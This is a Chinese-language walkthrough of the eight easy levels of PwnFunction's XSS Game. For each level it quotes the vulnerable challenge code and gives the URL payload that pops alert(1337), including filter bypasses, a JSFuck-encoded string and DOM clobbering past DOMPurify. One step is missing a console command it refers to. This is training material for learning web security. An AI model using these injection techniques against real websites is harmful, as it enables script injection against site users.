目录
一、项目来源
二、实战操作
EASY
1
2
3
4
5
6
7
8
一、项目来源
XSS Game - Learning XSS Made Simple! | Created by PwnFunction
二、实战操作
EASY
1
1.Easy -1
2.题目要求及源码
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
<!-- Challenge --> <h2 id="spaghet"></h2> <script> spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!" </script>
3.分析
①弹出'1337';②没有用户交互;③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=
.;④在chrome浏览器下实现
通过查询官方文档可知:innerHTML函数存在一定的安全风险;但是官方只限制了这一个函数,为了保证安全,我们可以切换成innerText函数;innerText函数会将'<','>'进行实体编码转义;不会进入标签开始状态,会直接将其中内容当作字符串展现在页面上
4.代码实现
?somebody=<img src=1 onerror="alert(1337)">
2
1.Easy-2
2.题目要求及源码
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
<!-- Challenge --> <h2 id="maname"></h2> <script> let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF") let ma = "" eval(`ma = "Ma name ${jeff}"`) setTimeout(_ => { maname.innerText = ma }, 1000) </script>
3.分析
①弹出'1337';②没有用户交互;③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=
.;④在chrome浏览器下实现
这道题主要是使用eval函数:
首先执行第一个闭合的双引号里面的内容,其次执行后面的语句;由于双引号不成对会报错,因此后面也进行闭合,因此语句成功执行
4.代码实现
方法一:
?jeff=abc";alert(1337);"
方法二:
?jeff=abc"-alert(1337);-"
3
1.Easy-3
2.题目要求及源码
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
<!-- Challenge --> <div id="uganda"></div> <script> let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?"); wey = wey.replace(/[<>]/g, '') uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">` </script>
3.分析
①弹出'1337';②没有用户交互;③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=
.;④在chrome浏览器下实现
这道题过滤了'<''>';不能闭合标签;只能选择其他的标签函数
onfocus:input表单自带的属性,对焦
autofocus:自动对焦
4.代码实现
?wey=abc" onfocus=alert(1337) autofocus="
4
1.Easy-4
2.题目要求及源码
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
<!-- Challenge --> <form id="ricardo" method="GET"> <input name="milos" type="text" class="form-control" placeholder="True" value="True"> </form> <script> ricardo.action = (new URL(location).searchParams.get('ricardo') || '#') setTimeout(_ => { ricardo.submit() }, 2000) </script>
3.分析
①弹出'1337';②没有用户交互;③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=
.;④在chrome浏览器下实现
这道题主要使用form表单中的action函数;并且会在2s后自动提交;
4.代码实现
?ricardo=javascript:alert(1337)
5
1.Easy-5
2.题目要求及源码
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
<!-- Challenge --> <h2 id="will"></h2> <script> smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt") smith = smith.replace(/[\(\`\)\\]/g, '') will.innerHTML = smith </script>
3.分析
①弹出'1337';②没有用户交互;③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=
.;④在chrome浏览器下实现
过滤了'(' ')' '`' '\';因为过滤了(),导致alert函数传参不能有效触发;可以考虑使用location函数;
4.代码实现
?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">
6
1.Easy-6
2.题目要求及源码
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
/* Challenge */ balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma") balls = balls.replace(/[A-Za-z0-9]/g, '') eval(balls)
3.分析
①弹出'1337';②没有用户交互;③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=
.;④在chrome浏览器下实现
使用jsfuck网站编码工具:JSFuck - Write any JavaScript with 6 Characters: []()!+
还需要对其进行urlencod编码;
4.代码实现
?balls=%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%2B%5B!%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%2B(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D))%5B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B((%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5D(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)()((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)
7
1.Easy-7
2.题目要求及源码
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
/* Challenge */ mafia = (new URL(location).searchParams.get('mafia') || '1+1') mafia = mafia.slice(0, 50) mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_') mafia = mafia.replace(/alert/g, '_') eval(mafia)
3.分析
①弹出'1337';②没有用户交互;③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=
.;④在chrome浏览器下实现
过滤了许多符号;过滤了alert函数,可以选择切换为confirm函数,但是意义不大;
?mafia=confirm(1337)
Function函数:Function()()可以直接执行Function函数体里面定义的函数;
4.代码实现
方法一:匿名函数
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
方法二:parseInt函数
以进制数来返回结果,进制数有2-36的选择;
toString:效果与parseInt相反;将进制数转换为原字符串;
?mafia=eval(8680439..toString(30))(1337)
方法三:
location.hash 代表#
slice() 截取函数
?mafia=eval(location.hash.slice(1))#alert(1337)
8
1.Easy-8
2.题目要求及源码
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
<!-- Challenge --> <h2 id="boomer">Ok, Boomer.</h2> <script> boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer") setTimeout(ok, 2000) </script>
3. 分析
①弹出'1337';②没有用户交互;③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=
.;④在chrome浏览器下实现
存在innerHtml,可以考虑利用,但是存在DOMPurify框架,这是一个顶级的安全框架,很难绕过;
源码中未定义'ok';
在控制台执行以下命令:
现在document.cookie已经被img标签给覆盖了
4.代码实现
?boomer=<a id-ok href="javascript:alert(1337)">
ok传入了,但是后面的函数值被删掉了,这是因为javascript对于DOMPurify框架来说是黑名单,我们需要找到这个框架对应的白名单;
成功代码:
?boomer=<a id=ok href="cid:alert(1337)">